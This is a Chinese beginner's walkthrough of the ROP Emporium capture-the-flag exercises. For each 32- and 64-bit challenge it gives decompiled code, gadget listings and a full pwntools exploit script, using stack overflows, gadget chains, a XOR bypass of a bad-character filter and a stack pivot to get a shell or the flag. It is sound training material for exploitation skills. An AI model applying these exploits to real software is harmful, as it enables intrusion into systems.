萌新向ROP初体验:ROPemporium
23R3F CTF 9646浏览 · 2018-12-28 00:59

这个萌新向的文章,大佬可以出门左转离开了Orz

这是一个专门给萌新训练rop技巧的网站,题目比较简单同时也可以学到了很多新的有关rop的操作,每道题目都有分32位和64位两种版本的,对32/64位的程序都能得到很好的练习

题目网站:ropemporium

在做题之前需要先了解一波rop的相关基础理论

rop的全称是:返回导向编程(Return-Oriented Programming)

一般在利用栈溢出的时候会利用到,rop通常是由许多个gadget组成的,而gadget是程序中的一小段指令

比如这种:pop xxx;ret即将栈上的值传递给寄存器的一段汇编指令

或者这些:mov ecx,[eax]; ret int 0x80; ret leave; ret

找gadget的时候可以使用ROPgadget这个工具

总的来说,就是把多个gadget串起来,达到寄存器传值,任意地址写,保持栈平衡,调用函数的目的

一般将rop部署在栈的返回地址处,而64位和32位的程序有所有不同,构造rop的时候相应的操作也不一样

  • 32位程序的参数是放在栈里面的

  • 64 位程序的前六个参数放在 RDI、RSI、RDX、RCX、R8 和 R9 中后续还有多的才放入栈中。

因此32位的程序用gadget一般是为了保持栈的平衡,而64位程序用gadget一般是为了将调用函数的参数放入rdi、rsi、rdx等寄存器中

1.ret2win

我们先来看看这题:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  setvbuf(_bss_start, 0LL, 2, 0LL);
  setvbuf(stderr, 0LL, 2, 0LL);
  puts("ret2win by ROP Emporium");
  puts("64bits\n");
  pwnme("64bits\n", 0LL);
  puts("\nExiting");
  return 0;
}

char *pwnme()
{
  char s; // [rsp+0h] [rbp-20h]

  memset(&s, 0, 0x20uLL);
  puts(
    "For my first trick, I will attempt to fit 50 bytes of user input into 32 bytes of stack buffer;\n"
    "What could possibly go wrong?");
  puts("You there madam, may I have your input please? And don't worry about null bytes, we're using fgets!\n");
  printf("> ", 0LL);
  return fgets(&s, 50, stdin);//漏洞所在
}

int ret2win()
{//未被调用的函数,执行后可以直接得到flag
  printf("Thank you! Here's your flag:");
  return system("/bin/cat flag.txt");
}

发现fgets函数可读入50个字节,但s的栈空间似乎只有0x20,那么肯定存在栈溢出漏洞

这时只要填满0x20个字符串加上八个字节的ebp,然后加上一个ret2win函数的地址,即可得到flag

exp如下

#!/usr/bin/python 
#coding:utf-8
from pwn import *
context.log_level = 'debug'
p = process("./ret2win")

ret2win = 0x400811
payload = 'a'*(0x20+0x08) +p64(ret2win)

p.sendline(payload)
p.interactive()

2.ret2win32

题目的描述和64位的基本上是一样的

int __cdecl main(int argc, const char **argv, const char **envp)
{
  setvbuf(stdout, 0, 2, 0);
  setvbuf(stderr, 0, 2, 0);
  puts("ret2win by ROP Emporium");
  puts("32bits\n");
  pwnme();
  puts("\nExiting");
  return 0;
}

char *pwnme()
{
  char s; // [esp+0h] [ebp-28h]

  memset(&s, 0, 0x20u);
  puts(
    "For my first trick, I will attempt to fit 50 bytes of user input into 32 bytes of stack buffer;\n"
    "What could possibly go wrong?");
  puts("You there madam, may I have your input please? And don't worry about null bytes, we're using fgets!\n");
  printf("> ");
  return fgets(&s, 50, stdin);//漏洞所在
}

int ret2win()
{//未被调用的函数,执行后可以直接得到flag
  printf("Thank you! Here's your flag:");
  return system("/bin/cat flag.txt");
}

exp如下,需要注意的是32位的ebp的大小是4个字节,而64位的程序的ebp是8个字节

#!/usr/bin/python 
#coding:utf-8
from pwn import *
p = process("./ret2win32")

ret2win = 0x08048659
payload = 'a'*(0x28+0x04) +p32(ret2win)

p.sendline(payload)
p.interactive()

3.split

先来看看从ida反编译的结果

char *pwnme()
{
  char s; // [rsp+0h] [rbp-20h]

  memset(&s, 0, 0x20uLL);
  puts("Contriving a reason to ask user for data...");
  printf("> ", 0LL);
  return fgets(&s, 96, stdin);//漏洞所在,造成栈溢出
}

int usefulFunction()
{
  return system("/bin/ls");
}

这里可以看到,还是存在一个栈溢出的漏洞,但是usefulFunction函数并不能帮助我们拿到flag,那么我们就得自己构造system(xxx)

但参数填什么呢?

IDA中使用快捷键shift+f12可以直接看到程序中的所有字符串

我们发现这里有个有用的字符串可以当做参数

.data:0000000000601060                 public usefulString
.data:0000000000601060 usefulString    db '/bin/cat flag.txt',0
.data:0000000000601072                 db    0
.data:0000000000601073                 db    0
.data:0000000000601074                 db    0

那我们需要构造的就是:system(/bin/cat flag.txt)

由于这个是64位的程序,rdi是存储函数第一个参数的

因此需要用到pop rdi;ret这个gadget

通过命令:ROPgadget --binary ./split --only "pop|ret"找到gadget

0x000000000040087c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040087e : pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400880 : pop r14 ; pop r15 ; ret
0x0000000000400882 : pop r15 ; ret
0x000000000040087b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040087f : pop rbp ; pop r14 ; pop r15 ; ret
0x00000000004006b0 : pop rbp ; ret
0x0000000000400883 : pop rdi ; ret  //这个就是我们所需要的gadget
0x0000000000400881 : pop rsi ; pop r15 ; ret
0x000000000040087d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004005b9 : ret

接着paylode的构造就简单了,填充0x28个字符到返回地址后使用pop_rdi_ret将参数传入rdi寄存器中,接着执行system函数即可

exp如下:

#!/usr/bin/python
#coding:utf-8
from pwn import *
context.log_level = 'debug'
p = process('./split')

catflag = 0x601060
system = 0x4005e0
pop_rdi_ret = 0x400883
payload = 'a'*(0x20 + 0x08) + p64(pop_rdi_ret) +p64(catflag)+p64(system)
p.sendline(payload)
p.interactive()

4. split32

题目的描述和上面64位 的是一样的,只需要主要32位的程序,函数的参数是放在栈上的,那也就不需要使用到gadget,直接覆盖返回地址后再将参数填入栈中即可

#!/usr/bin/python
#coding:utf-8
from pwn import *
context.log_level = 'debug'
p = process('./split32')

catflag = 0x0804a030
system = 0x08048430

payload = 'a'*(0x28+0x04) +p32(system)+'aaaa'+p32(catflag)
p.sendline(payload)
p.interactive()

5.callme

从反编译的代码来看:

char *pwnme()
{
  char s; // [rsp+0h] [rbp-20h]

  memset(&s, 0, 0x20uLL);
  puts("Hope you read the instructions...");
  printf("> ", 0LL);
  return fgets(&s, 256, stdin);
}

void __noreturn usefulFunction()
{
  callme_three(4LL, 5LL, 6LL);
  callme_two(4LL, 5LL, 6LL);
  callme_one(4LL, 5LL, 6LL);
  exit(1);
}

除了和之前一样的栈溢出漏洞以外,这个usefulFunction函数显得没有卵用

于是去看看官方的提示:

看来,这题的要求是:依次调用one,two,three函数,参数是1,2,3,这样就可以出flag了,不用去管文件夹中的encrypted_flag.txt key1.dat key2.dat libcallme.so

但也别删除了,会影响题目正常逻辑的

这题的主要考察点是对rop调用函数顺序和设置参数

那根据之前题目中提到的,找好gadget和相关函数的地址,就可以开始写rop的构造了

#!/usr/bin/python
#coding:utf-8
from pwn import *
context.log_level = 'debug'
p = process('./callme')
elf = ELF('./callme')

pop_rdi_ret = 0x00401b23
pop_rsi_rdx_ret = 0x401ab1

callone = 0x401850
calltwo = 0x401870
callthree = 0x401810

#调用callme_one(1,2,3)
payload = 'a'*(0x20 + 0x08)
payload += p64(pop_rdi_ret) + p64(1)+ p64(pop_rsi_rdx_ret)+p64(2)+p64(3)+p64(callone)
#调用callme_two(1,2,3)
payload += p64(pop_rdi_ret) + p64(1)+ p64(pop_rsi_rdx_ret)+p64(2)+p64(3)+p64(calltwo)
#调用callme_three(1,2,3)
payload += p64(pop_rdi_ret) + p64(1)+ p64(pop_rsi_rdx_ret)+p64(2)+p64(3)+p64(callthree)

p.sendline(payload)

p.interactive()

6.callme32

原理同上,但与上面64位不同的是,这里的pop_esi_edi_ebp_ret并不是传参数的作用,而是为了保持栈的平衡,把p32(1)+p32(2)+p32(3)弹出去,从而实现下一次的rop函数调用

栈平衡 是指保证压栈操作和弹栈操作要相对应,保证栈指针一直指向所定义的栈空间。

比如

payload += p32(callone)+p32(pop_esi_edi_ebp_ret)+p32(1)+p32(2)+p32(3)

其中pop esi是为了把p32(1)弹出栈,pop edi是为了把p32(2)弹出栈,pop edi是为了把p32(3)弹出栈

最后一个ret指令相当于 pop eip

也就是把栈顶的内容传给eip,从而改变执行流程

在执行之前三次pop后,esp已经指向了p32(calltwo)

这时就可以接着去指向第二段rop从而顺利调用callme_two(1,2,3)

依次类推,执行callme_three(1,2,3)

exp如下:

#!/usr/bin/python
#coding:utf-8
from pwn import *
context.log_level = 'debug'
p = process('./callme32')

pop_esi_edi_ebp_ret = 0x080488a9
callone = 0x080485c0
calltwo = 0x08048620
callthree = 0x080485b0
main = 0x0804873b


payload = 'a'*(0x28 + 0x04)

payload +=  p32(callone)+p32(pop_esi_edi_ebp_ret)+p32(1)+p32(2)+p32(3)
payload +=  p32(calltwo)+p32(pop_esi_edi_ebp_ret)+p32(1)+p32(2)+p32(3)
payload +=  p32(callthree)+p32(0xdeadbeef)+p32(1)+p32(2)+p32(3)
p.sendline(payload)

p.interactive()

如果对此不太好理解,可以进入gdb一步步跟着调试,可以看清楚具体的流程

7.write4

从IDA来看

int __cdecl main(int argc, const char **argv, const char **envp)
{
  setvbuf(_bss_start, 0LL, 2, 0LL);
  setvbuf(stderr, 0LL, 2, 0LL);
  puts("write4 by ROP Emporium");
  puts("64bits\n");
  pwnme();
  puts("\nExiting");
  return 0;
}

char *pwnme()
{
  char s; // [rsp+0h] [rbp-20h]

  memset(&s, 0, 0x20uLL);
  puts("Go ahead and give me the string already!");
  printf("> ", 0LL);
  return fgets(&s, 512, stdin);
}

int usefulFunction()
{
  return system("/bin/ls");
}

可以发现,代码和之前的题目没有太多区别,唯一不同的是,我们找不到system的参数了,程序中不再出现'/bin/cat flag.txt'的参数了,因此我们得自己写参数

但程序中并没有直接写bss段的操作

于是我们需要构造rop来写入一个/bin/sh参数

最后调用system(/bin/sh)

首先找一波可利用的gadget

$ ROPgadget --binary write4 --only "mov|pop|ret" 
Gadgets information
============================================================
0x0000000000400713 : mov byte ptr [rip + 0x20096e], 1 ; ret
0x0000000000400821 : mov dword ptr [rsi], edi ; ret
0x00000000004007ae : mov eax, 0 ; pop rbp ; ret
0x0000000000400820 : mov qword ptr [r14], r15 ; ret
0x000000000040088c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040088e : pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400890 : pop r14 ; pop r15 ; ret
0x0000000000400892 : pop r15 ; ret
0x0000000000400712 : pop rbp ; mov byte ptr [rip + 0x20096e], 1 ; ret
0x000000000040088b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040088f : pop rbp ; pop r14 ; pop r15 ; ret
0x00000000004006b0 : pop rbp ; ret
0x0000000000400893 : pop rdi ; ret
0x0000000000400891 : pop rsi ; pop r15 ; ret
0x000000000040088d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004005b9 : ret

我们发现,有这两条

mov qword ptr [r14], r15 ; ret

pop r14 ; pop r15 ; ret

这意味着我们可以通过这两条gadget实现任意地址写,把“/bin/sh\x00”写入bss段中,接着在将参数传入rdi寄存器的时候就传bss的地址就行了

exp如下

#!/usr/bin/python
#coding:utf-8
from pwn import *
context.log_level = 'debug'
p = process('./write4')

pop_rdi_ret = 0x400893
mov_r15_2_r14_ret = 0x400820
pop_r14_r15_ret= 0x400890 
bss = 0x601060

binsh = '/bin/sh\x00'  #sh\x00\x00\x00\x00\x00\x00也可以,只要在八字节内就行
system = 0x4005e0

payload = 'a'*(0x20+0x08) 
payload += p64(pop_r14_r15_ret) + p64(bss) +binsh
payload += p64(mov_r15_2_r14_ret)
payload += p64(pop_rdi_ret) +p64(bss) +p64(system) 

p.sendline(payload)
p.interactive()

8.write4 32

原理同上,注意binsh参数的长度即可,32位下有四个字节的长度限制

另外在本程序中,间接传至利用的是edi和ebp寄存器

#!/usr/bin/python
#coding:utf-8
from pwn import *
context.log_level = 'debug'
p = process('./write432')

mov_edi_ebp_ret = 0x08048670 
pop_edi_ebp_ret = 0x080486da 

bss = 0x0804a040
binsh = 'sh\x00\x00' #32位程序仅有四个字节可以写入,所以只能构造system(sh)
#也还可以构造system($0)
system = 0x08048430

payload = 'a'*(0x28+0x04) 
payload += p32(pop_edi_ebp_ret)+p32(bss)+binsh
payload += p32(mov_edi_ebp_ret)
payload += p32(system)+p32(0xdeadbeef)+p32(bss)


p.sendline(payload)
p.interactive()

9.badchars

这题比较猥琐一点,直接过滤了一些字符不给你输入

unsigned __int64 __fastcall checkBadchars(__int64 a1, unsigned __int64 a2)
{
  unsigned __int64 result; // rax
  char v3; // [rsp+10h] [rbp-20h]
  char v4; // [rsp+11h] [rbp-1Fh]
  char v5; // [rsp+12h] [rbp-1Eh]
  char v6; // [rsp+13h] [rbp-1Dh]
  char v7; // [rsp+14h] [rbp-1Ch]
  char v8; // [rsp+15h] [rbp-1Bh]
  char v9; // [rsp+16h] [rbp-1Ah]
  char v10; // [rsp+17h] [rbp-19h]
  unsigned __int64 j; // [rsp+20h] [rbp-10h]
  unsigned __int64 i; // [rsp+28h] [rbp-8h]

  v3 = 'b';
  v4 = 'i';
  v5 = 'c';
  v6 = '/';
  v7 = ' ';
  v8 = 'f';
  v9 = 'n';
  v10 = 's';
  j = 0LL;
  for ( i = 0LL; ; ++i )
  {
    result = i;
    if ( i >= a2 )
      break;
    for ( j = 0LL; j <= 7; ++j )
    {
      if ( *(_BYTE *)(a1 + i) == *(&v3 + j) )
      {
        *(_BYTE *)(a1 + i) = 0xEBu;
        break;
      }
    }
  }
  return result;
}

可以看到,如果输入的字符串里面,有“b i c / <空格> f n s”,就会被替换成0xEBu

那么system函数的参数都用不了,就需要别的操作去完成参数的构造

通过查ropgadget,我们发现有这些:

pop_r12_r13_ret = 0x0000000000400b3b
mov_r13_r12_ret = 0x0000000000400b34
pop_r14_r15_ret = 0x0000000000400b40
xor_r15_r14_ret = 0x0000000000400b30
pop_rdi_ret=0x0000000000400b39

我们可以对binsh参数先进行异或的加密,从而可以绕过checkBadchars函数

进入函数,完成输入到bss段以后,再用xor的gadget,可以完成对参数的解密

最后再跳转执行system(/bin/sh)

首先需要测出10以内的异或数字:

binsh = '/bin/sh\x00'
badchar = [98, 105, 99, 47, 32, 102, 110, 115]
xornum = 1
while 1:
    for x in binsh:
        tmp = ord(x) ^ xornum
        if tmp in badchar:
            xornum += 1
            break
        if x == "\x00":
            print xornum
            xornum +=1
    if xornum == 10:
        break        
#检测出2,3,5,9都能用

exp如下

#!/usr/bin/python 
#coding:utf-8
from pwn import *
context.log_level = 'debug'
p = process("./badchars")

system = 0x4006f0
bss = 0x601080
pop_r12_r13_ret = 0x0000000000400b3b 
mov_r13_r12_ret = 0x0000000000400b34 
pop_r14_r15_ret = 0x0000000000400b40 
xor_r15_r14_ret = 0x0000000000400b30 
pop_rdi_ret=0x0000000000400b39

binsh = '/bin/sh\x00'
xorbinsh = ''
for x in binsh:
    xorbinsh += chr(ord(x) ^ 2) 

payload = 'a'*(0x20+0x08)
payload += p64(pop_r12_r13_ret) + xorbinsh + p64(bss)
payload += p64(mov_r13_r12_ret)

for x in xrange(0,len(xorbinsh)):   
    payload += p64(pop_r14_r15_ret)
    payload += p64(2)
    payload += p64(bss + x)
    payload += p64(xor_r15_r14_ret)


payload += p64(pop_rdi_ret)
payload += p64(bss)
payload += p64(system)

p.recvuntil("> ")
p.sendline(payload)
p.interactive()

10.badchars32

原理同上

#!python
#coding:utf-8
from pwn import *
context.log_level = 'debug'
p = process("./badchars32")

mov_edi_esi_ret = 0x08048893 
pop_esi_edi_ret = 0x08048899

pop_ebx_ecx_ret = 0x08048896
xor_ebx_ecl_ret = 0x08048890

system = 0x080484E0
bss = 0x0804a040
binsh = '/bin/sh\x00'

badchar = [98, 105, 99, 47, 32, 102, 110, 115]

xorbinsh = ''
for x in binsh:
    xorbinsh += chr(ord(x) ^ 2) 

#print xorbinsh

payload = 'a'*(0x28+0x04)
payload += p32(pop_esi_edi_ret)
payload += xorbinsh[0:4] +p32(bss)
payload += p32(mov_edi_esi_ret)
#需要注意的是32位的程序一次只能传4个字节的字符串,因此xorbinsh需要分两次来发送到bss段里面
payload += p32(pop_esi_edi_ret)
payload += xorbinsh[4:8] +p32(bss+4)
payload += p32(mov_edi_esi_ret)

for x in xrange(0,len(xorbinsh)):
    payload += p32(pop_ebx_ecx_ret)
    payload += p32(bss+x) + p32(2)
    payload += p32(xor_ebx_ecl_ret)

payload += p32(system) +p32(0xdeadbeef)+p32(bss)

p.recvuntil("> ")
p.sendline(payload)
p.interactive()

其实这题有非预期解法的,直接调用system($0)也一样可以getshell,完全不用理会检查机制

11.fluff

题目的函数设置还是和之前的没有太多的差别

char *pwnme()
{
  char s; // [rsp+0h] [rbp-20h]

  memset(&s, 0, 0x20uLL);
  puts("You know changing these strings means I have to rewrite my solutions...");
  printf("> ", 0LL);
  return fgets(&s, 512, stdin);
}

同样的,我们需要写system的参数到bss段,才能成功getshell

查一波可以的gadget,发现:

0x000000000040084d : pop rdi ; mov qword ptr [r10], r11 ; pop r13 ; pop r12 ; xorbyte ptr [r10], r12b ; ret
0x000000000040084c : pop r15 ; mov qword ptr [r10], r11 ; pop r13 ; pop r12 ; xor byte ptr [r10], r12b ; ret

0x0000000000400822 : xor r11, r11 ; pop r14 ; mov edi, 0x601050 ; ret
0x000000000040082f : xor r11, r12 ; pop r12 ; mov r13d, 0x604060 ; ret
0x0000000000400832 : pop r12 ; mov r13d, 0x604060 ; ret

0x0000000000400840 : xchg r11, r10 ; pop r15 ; mov r11d, 0x602050 ; ret

这道题有个比较有趣的地方在于,可以用xor进行写入操作,用一个xor自己清空寄存器A,接着让寄存器B去xor寄存器A,把结果存在寄存器A,就相当于把B赋值給A

这也算是gadget进行间接赋值的时候的新思路

这道题的关键点在于非常巧妙地利用了几个gadget,尤其是通过xor进行寄存器赋值的操作是真的很细节

在找ropgadget的时候用上:ROPgadget –binary ./fluff –depth 20 才能找到更多的gadget

exp如下

#!python
#coding:utf-8
from pwn import *
context.log_level = "debug"
p = process("./fluff")

system = 0x4005e0
bss = 0x601060
binsh = '/bin/sh\x00'
junk = 'a'*8

gadget1 = 0x40084d 
#pop rdi ; mov qword ptr [r10], r11 ; pop r13 ; pop r12 ; xor byte ptr [r10], r12b ; ret
gadget2 = 0x400822
#xor r11, r11 ; pop r14 ; mov edi, 0x601050 ; ret
gadget3 = 0x40082f
#xor r11, r12 ; pop r12 ; mov r13d, 0x604060 ; ret
gadget4 = 0x400840
#xchg r11, r10 ; pop r15 ; mov r11d, 0x602050 ; ret
gadget5 = 0x400832
#pop r12 ; mov r13d, 0x604060 ; ret

payload = 'a'*(0x20+0x08)
payload += p64(gadget5)
payload += p64(bss)
payload += p64(gadget2) +junk
payload += p64(gadget3) +junk
payload += p64(gadget4) +junk

payload += p64(gadget5)
payload += binsh
payload += p64(gadget2) +junk
payload += p64(gadget3) +junk
payload += p64(gadget1) +p64(bss)+junk +p64(0)

payload += p64(system)

p.recvuntil("> ")
p.sendline(payload)
p.interactive()

需要注意的是,我们利用的gadget并不是每一条都有用,比如

xor r11, r11 ; pop r14 ; mov edi, 0x601050 ; ret

这里的pop r14 ; mov edi, 0x601050并没有作用

我们需要利用的是xor r11, r11

只要其他的不影响解题,我们填充它为无用字符就行了

12.fluff32

原理同上,只需要注意分两次写入bss,这是因为32位程序最多四字节传值

当然如果构造system(/sh)写一次就够了

#!python
#coding:utf-8
from pwn import *
context.log_level = "debug"

p = process("./fluff32")
bss = 0x0804a040
binsh = "/bin/sh\x00"
system = 0x08048430
junk = "a"*4

gadget1 = 0x08048693
#mov dword ptr [ecx], edx ; pop ebp ; pop ebx ; xor byte ptr [ecx], bl ; ret
gadget2 = 0x08048671
#xor edx, edx ; pop esi ; mov ebp, 0xcafebabe ; ret
gadget3 = 0x0804867b
#xor edx, ebx ; pop ebp ; mov edi, 0xdeadbabe ; ret
gadget4 = 0x080483e1
# pop ebx ; ret
gadget5 = 0x08048689
#xchg edx, ecx ; pop ebp ; mov edx, 0xdefaced0 ; ret


payload = 'a'*(0x28+0x04)

#把bss的地址传给ecx
payload += p32(gadget4)
payload += p32(bss)
payload += p32(gadget2)+junk
payload += p32(gadget3)+junk
payload += p32(gadget5)+junk
#把binsh前四个字节写入bss的地址
payload += p32(gadget4)
payload += binsh[0:4]
payload += p32(gadget2)+junk
payload += p32(gadget3)+junk
payload += p32(gadget1)+junk+p32(0)
#把bss+4的地址传给ecx
payload += p32(gadget4)
payload += p32(bss+4)
payload += p32(gadget2)+junk
payload += p32(gadget3)+junk
payload += p32(gadget5)+junk
#把binsh后四个字节写入bss+4的地址
payload += p32(gadget4)
payload += binsh[4:8]
payload += p32(gadget2)+junk
payload += p32(gadget3)+junk
payload += p32(gadget1)+junk+p32(0)
#此时在bss段中已经写好了/bin/sh,然后就调用system函数getshell
payload += p32(system) +p32(0xdeadbeef)+p32(bss)


p.recvuntil("> ")
p.sendline(payload)
p.interactive()

13.pivot

这道题有两次输入,第一次输入存入pivot堆的位置,第二次输入存入栈的位置,第二次输入的可溢出大小明显不够用来构造rop链

所以需要用到栈迁移的操作,这里边描述的够详细了

这道题有给出so文件,其中有这个函数

void __noreturn ret2win()
{
  system("/bin/cat flag.txt");
  exit(0);
}

在elf中的函数里面只有foothold_function是也出现在so里面的,它还存在elf的got表中

.got.plt:0000000000602048 off_602048      dq offset foothold_function

很明显就是要利用这个foothold函数来进行泄漏libc,从而得到ret2win的真实地址,然后去调用这个ret2win函数

由于这个函数没调用,需要调用一次,got表才会存在真正的地址

因此第一次溢出就要先执行foothold函数

其他的就是找gadget进行构造rop了,但其实text段里面有提示

很明显这个就是一个有用的gadget,剩下的就以这个为线索去找就行了

输入命令 ROPgadget --binary ./pivot --depth 20 配合着--only"xxx"和grep命令去找出这些有用的gadget

0x0000000000400b05 : mov rax, qword ptr [rax] ; ret
0x0000000000400b00 : pop rax ; ret
0x000000000040098e : call rax
0x0000000000400b09 : add rax, rbp ; ret
0x0000000000400900 : pop rbp ; ret
0x0000000000400b02 : xchg rax, rsp ; ret

exp如下:

#!python
#coding:utf-8
from pwn import *
context.log_level = "debug"
elf = ELF("./pivot")
libc = ELF("./libpivot.so")
p = process("./pivot")

plt_foothold_function = elf.plt["foothold_function"]
got_foothold_function = elf.got["foothold_function"]

libc_foothold_function = libc.symbols["foothold_function"]
libc_ret2win = libc.symbols["ret2win"]

offset = libc_ret2win-libc_foothold_function

mov_rax_rax = 0x0000000000400b05
pop_rax = 0x0000000000400b00
call_rax =0x000000000040098e
add_rax_rbp = 0x0000000000400b09
pop_rbp = 0x0000000000400900
xchg_rax_rsp = 0x0000000000400b02

p.recvuntil("The Old Gods kindly bestow upon you a place to pivot: ")
heap = int(p.recv(14),16)

p.recvuntil("> ")

payload1 = p64(plt_foothold_function)
payload1 += p64(pop_rax)
payload1 += p64(got_foothold_function)
payload1 += p64(mov_rax_rax)
payload1 += p64(pop_rbp)
payload1 += p64(offset)
payload1 += p64(add_rax_rbp)
payload1 += p64(call_rax)
p.sendline(payload1)


p.recvuntil("> ")
payload2 ='a'*(0x20+0x08)
payload2 += p64(pop_rax)
payload2 += p64(heap)
payload2 += p64(xchg_rax_rsp)


p.sendline(payload2)
p.recvuntil("into libpivot.so")
p.interactive()

14.pivot32

原理同上

#!python
#coding:utf-8
from pwn import *
context.log_level = "debug"
elf = ELF("./pivot32")
libc = ELF("./libpivot32.so")
p = process("./pivot32")

plt_foothold_function = elf.plt["foothold_function"]
got_foothold_function = elf.got["foothold_function"]

libc_foothold_function = libc.symbols["foothold_function"]
libc_ret2win = libc.symbols["ret2win"]

offset = libc_ret2win-libc_foothold_function
print offset
mov_eax_eax = 0x080488c4
pop_eax = 0x080488c0
call_eax =0x080486a3
add_eax_ebx = 0x080488c7
pop_ebx = 0x08048571
xchg_eax_esp = 0x080488c2

p.recvuntil("The Old Gods kindly bestow upon you a place to pivot: ")
heap = int(p.recv(10),16)

p.recvuntil("> ")

payload1 = p32(plt_foothold_function)
payload1 += p32(pop_eax)
payload1 += p32(got_foothold_function)
payload1 += p32(mov_eax_eax)
payload1 += p32(pop_ebx)
payload1 += p32(offset)
payload1 += p32(add_eax_ebx)
payload1 += p32(call_eax)
p.sendline(payload1)


p.recvuntil("> ")
payload2 ='a'*(0x28+0x04)
payload2 += p32(pop_eax)
payload2 += p32(heap)
payload2 += p32(xchg_eax_esp)


p.sendline(payload2)

p.recvuntil("into libpivot.so")
p.interactive()
'''
0x080488c0 : pop eax ; ret
0x08048571 : pop ebx ; ret

0x080488c2 : xchg eax, esp ; ret
0x080488c4 : mov eax, dword ptr [eax] ; ret
0x080486a3 : call eax
0x080488c7 : add eax, ebx ; ret
'''

其实栈迁移(or栈翻转,栈伪造,其实都是一个意思)我们一般用leave;ret,上面64位有0x0a,所以用不了

上面的stack pivot可以用如下payload:

leave_ret = 0x080486a8
p.recvuntil("> ")
payload = "a" * 40
payload += p32(heap_addr - 4) 
#因为后面的leave会pop ebp,所以这减4
payload += p32(leave_ret)

总结

通过这些题目的练习,是可以提高对rop的利用能力的,尤其是在没法遇到pop xxx ret这样的直接传值gadget的时候,就需要想尽办法去间接的传递赋值,另外我发现ropemporium的官网似乎要全局梯子才能访问,我就把题目打包上去了,方便大家练习

附件:
0 条评论
某人
表情
可输入 255